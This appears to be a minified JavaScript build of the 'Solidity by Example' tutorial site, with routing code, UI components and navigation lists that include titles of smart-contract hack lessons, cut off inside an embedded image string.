a=="string"?jn(a):a;o==="/"||(d=Z.pathname)!=null&&d.startsWith(o)||P(!1),I=Z}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let Z=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(Z.length).join("/")}let m=LI(s,{pathname:u}),b=Gd(m&&m.map(Z=>Object.assign({},Z,{params:Object.assign({},t,Z.params),pathname:Ra([o,p.encodeLocation?p.encodeLocation(Z.pathname).pathname:Z.pathname]),pathnameBase:Z.pathnameBase==="/"?o:Ra([o,p.encodeLocation?p.encodeLocation(Z.pathnameBase).pathname:Z.pathnameBase])})),e,n,l);return a&&b?B.createElement(vp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Rd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return B.createElement(B.Fragment,null,B.createElement("h2",null,"Unexpected Application Error!"),B.createElement("h3",{style:{fontStyle:"italic"}},a),n?B.createElement("pre",{style:p},n):null,null)}const Zd=B.createElement(kd,null);class Wd extends B.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?B.createElement(An.Provider,{value:this.props.routeContext},B.createElement(og.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Bd(s){let{routeContext:a,match:n,children:l}=s,p=B.useContext(ct);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),B.createElement(An.Provider,{value:a},l)}function Gd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id]));I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,Z=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(vd("route-fallback",!1),m=!0,Z=null):i===j&&(m=!0,Z=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=Z:d.route.Component?C=B.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,B.createElement(Bd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?B.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var ig=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(ig||{}),dp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(dp||{});function Vd(s){let a=B.useContext(ct);return a||P(!1),a}function fd(s){let a=B.useContext(ud);return a||P(!1),a}function Yd(s){let a=B.useContext(An);return a||P(!1),a}function gg(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Rd(){var s;let a=B.useContext(og),n=fd(dp.UseRouteError),l=gg(dp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Xd(){let{router:s}=Vd(ig.UseNavigateStable),a=gg(dp.UseNavigateStable),n=B.useRef(!1);return rg(()=>{n.current=!0}),B.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Wo={};function vd(s,a,n){!a&&!Wo[s]&&(Wo[s]=!0)}function hg(s){P(!1)}function Nd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=B.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=B.useMemo(()=>{let Z=cg(I,o);return Z==null?null:{location:{pathname:Z,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:B.createElement(Xp.Provider,{value:i},B.createElement(vp.Provider,{children:n,value:b}))}function Hd(s){let{children:a,location:n}=s;return bd(oc(a),n)}new Promise(()=>{});function oc(s,a){a===void 0&&(a=[]);let n=[];return B.Children.forEach(s,(l,p)=>{if(!B.isValidElement(l))return;let e=[...a,p];if(l.type===B.Fragment){n.push.apply(n,oc(l.props.children,e));return}l.type!==hg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=oc(l.props.children,e)),n.push(c)}),n}/** + * React Router DOM v6.22.3 * * Copyright (c) Remix Software Inc. * @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function rc(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Kd(s,a){let n=rc(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Md="startTransition",Go=Hg[Md];function Sd(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=TI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Go?Go(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(Hd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var fo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(fo||(fo={}));function xd(s){let a=W.useRef(rc(s)),n=W.useRef(!1),l=Hp(),p=W.useMemo(()=>Kd(l.search,n.current?null:a.current),[l.search]),e=md(),c=W.useCallback((t,o)=>{const i=rc(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const Jd="_component_nqcni_1",zd="_sideNav_nqcni_6",Dd="_main_nqcni_13",Ed="_children_nqcni_21",Rl={component:Jd,sideNav:zd,main:Dd,children:Ed},Qd="_list_1ltry_1",Td="_title_1ltry_6",Ud="_listItem_1ltry_11",_d="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Qd,title:Td,listItem:Ud,listItemActive:_d,link:Ld},Od=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Pd=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$d=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],qd=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],sC=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],aC=[{path:"echidna",title:"Echidna"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],ot=[{title:"",routes:Pd.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$d.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qd.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:sC.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:aC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=ot.map(({routes:s})=>s).flat(),lC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),ot.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!eg(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_15x91_1",oC="_a_15x91_13",rC="_center_15x91_16",iC="_logo_15x91_21",gC="_header_15x91_24",hC="_mode_15x91_28",IC="_hamburger_15x91_33",aa={component:tC,a:oC,center:rC,logo:iC,header:gC,mode:hC,hamburger:IC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),CC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),jC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function uC(){const{state:s,setTheme:a,toggleSideNav:n}=et();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(cC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(jC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(CC,{size:20})})]})}const Ig="https://cryptojobslist.com/solidity",AC="_component_h47vh_1",yC="_row_h47vh_8",mC="_bar_h47vh_13",bC="_to_h47vh_21",wC="_social_h47vh_24",kC="_sce_h47vh_29",ZC="_telegram_h47vh_34",WC="_discord_h47vh_38",BC="_youTube_h47vh_42",Is={component:AC,row:yC,bar:mC,to:bC,social:wC,sce:kC,telegram:ZC,discord:WC,youTube:BC},GC="data:image/png;base64,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